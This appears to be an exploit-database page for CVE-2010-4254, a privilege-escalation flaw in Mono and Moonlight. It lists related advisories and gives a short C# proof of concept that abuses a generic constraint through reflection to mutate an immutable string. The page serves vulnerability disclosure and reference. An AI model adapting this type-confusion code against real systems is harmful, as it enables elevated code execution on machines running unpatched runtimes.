Mono/Moonlight Generic Type Argument - Privilege Escalation
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| CVE-2010-4254 | 11 Jan 201100:00 | – | circl | |
| CVE-2010-4254 | 3 Dec 201020:00 | – | cve | |
| CVE-2010-4254 | 3 Dec 201020:00 | – | cvelist | |
| [SECURITY] Fedora 14 Update: mono-addins-0.5-2.fc14 | 31 Mar 201117:00 | – | fedora | |
| [SECURITY] Fedora 14 Update: mono-2.6.7-4.fc14 | 31 Mar 201117:00 | – | fedora | |
| Fedora 14 : mono-2.6.7-4.fc14 / mono-addins-0.5-2.fc14 (2011-3393) | 1 Apr 201100:00 | – | nessus | |
| GLSA-201206-13 : Mono: Multiple vulnerabilities | 22 Jun 201200:00 | – | nessus | |
| openSUSE Security Update : libmoon-devel (openSUSE-SU-2010:1062-1) | 13 Jun 201400:00 | – | nessus | |
| SuSE 11.1 Security Update : moonlight (SAT Patch Number 3728) | 21 Jan 201100:00 | – | nessus | |
| SuSE 11.1 Security Update : moonlight-plugin (SAT Patch Number 3606) | 21 Jan 201100:00 | – | nessus |
10
Sources: https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/
https://www.securityfocus.com/bid/45051/info
Mono and Moonlight is prone to a local privilege-escalation vulnerability.
Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer.
PoC:
using System;
using System.Reflection;
public class FakeString {
public int length;
public char start_char;
}
public class TestCase {
private static FakeString UnsafeConversion<T>(T thing)
where T : FakeString
{
return thing;
}
public static void Main() {
var a = "foo";
var b = MakeMutable(a);
Console.WriteLine(a);
b.start_char = 'b';
Console.WriteLine(a);
}
private static FakeString MakeMutable(string s)
{
var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
var m2 = m.MakeGenericMethod(typeof(string));
var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);
return d(s);
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Mar 2011 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.13649